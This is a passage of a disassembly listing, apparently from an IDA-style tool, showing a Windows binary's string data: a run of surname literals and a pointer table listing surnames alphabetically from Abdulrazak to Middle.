aWhite db 'White',0 ; DATA XREF: _2:00447F20o
align 4
aWhitla db 'Whitla',0 ; DATA XREF: _2:00447F24o
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: _2:00447F28o
align 10h
aViana db 'Viana',0 ; DATA XREF: _2:00447F2Co
align 4
aViano db 'Viano',0 ; DATA XREF: _2:00447F30o
align 10h
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: _2:00447F34o
aWiener db 'Wiener',0 ; DATA XREF: _2:00447F38o
align 4
aViens db 'Viens',0 ; DATA XREF: _2:00447F3Co
align 4
aVignola db 'Vignola',0 ; DATA XREF: _2:00447F40o
aWilder db 'Wilder',0 ; DATA XREF: _2:00447F44o
align 4
aWilhelm db 'Wilhelm',0 ; DATA XREF: _2:00447F48o
aWilk db 'Wilk',0 ; DATA XREF: _2:00447F4Co
align 4
aWilkin db 'Wilkin',0 ; DATA XREF: _2:00447F50o
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: _2:00447F54o
align 10h
aVillarreal db 'Villarreal',0 ; DATA XREF: _2:00447F58o
align 4
aWillstatter db 'Willstatter',0 ; DATA XREF: _2:00447F5Co
aWilson db 'Wilson',0 ; DATA XREF: _2:00447F60o
align 10h
aVitali db 'Vitali',0 ; DATA XREF: _2:00447F64o
align 4
aViviani db 'Viviani',0 ; DATA XREF: _2:00447F68o
aVoigt db 'Voigt',0 ; DATA XREF: _2:00447F6Co
align 4
aWolk db 'Wolk',0 ; DATA XREF: _2:00447F70o
align 10h
aVonhoffman db 'VonHoffman',0 ; DATA XREF: _2:00447F74o
align 4
aWoo db 'Woo',0 ; DATA XREF: _2:00447F78o
aWooden db 'Wooden',0 ; DATA XREF: _2:00447F7Co
align 4
aWoods db 'Woods',0 ; DATA XREF: _2:00447F80o
align 10h
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: _2:00447F84o
align 10h
aVorhaus db 'Vorhaus',0 ; DATA XREF: _2:00447F88o
aVotey db 'Votey',0 ; DATA XREF: _2:00447F8Co
align 10h
aYacono db 'Yacono',0 ; DATA XREF: _2:00447F90o
align 4
aYamane db 'Yamane',0 ; DATA XREF: _2:00447F94o
align 10h
aYankee db 'Yankee',0 ; DATA XREF: _2:00447F98o
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: _2:00447F9Co
aYates db 'Yates',0 ; DATA XREF: _2:00447FA0o
align 4
aYbarra db 'Ybarra',0 ; DATA XREF: _2:00447FA4o
align 10h
aYedidia db 'Yedidia',0 ; DATA XREF: _2:00447FA8o
aYesson db 'Yesson',0 ; DATA XREF: _2:00447FACo
align 10h
aYetiv db 'Yetiv',0 ; DATA XREF: _2:00447FB0o
align 4
aYoffe db 'Yoffe',0 ; DATA XREF: _2:00447FB4o
align 10h
aYoo db 'Yoo',0 ; DATA XREF: _2:00447FB8o
aYoukSee db 'Youk-See',0 ; DATA XREF: _2:00447FBCo
align 10h
aYu db 'Yu',0 ; DATA XREF: _2:00447FC0o
align 4
aZachary db 'Zachary',0 ; DATA XREF: _2:00447FC4o
aZahedi db 'Zahedi',0 ; DATA XREF: _2:00447FC8o
align 4
aZangwill db 'Zangwill',0 ; DATA XREF: _2:00447FCCo
align 10h
aZegans db 'Zegans',0 ; DATA XREF: _2:00447FD0o
align 4
aZerbini db 'Zerbini',0 ; DATA XREF: _2:00447FD4o
aZoldak db 'Zoldak',0 ; DATA XREF: _2:00447FD8o
align 4
aZucconi db 'Zucconi',0 ; DATA XREF: _2:00447FDCo
aZurn db 'Zurn',0 ; DATA XREF: _2:00447FE0o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: _2:00447FE4o
align 10h
aZytowski db 'Zytowski',0 ; DATA XREF: _2:00447FE8o
align 10h
off_446DB0 dd offset aAbdulrazak ; DATA XREF: sub_40AFAB+20r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
dd offset aAddison ; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer_0 ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton_0 ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine_0 ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch_0 ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay_0 ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
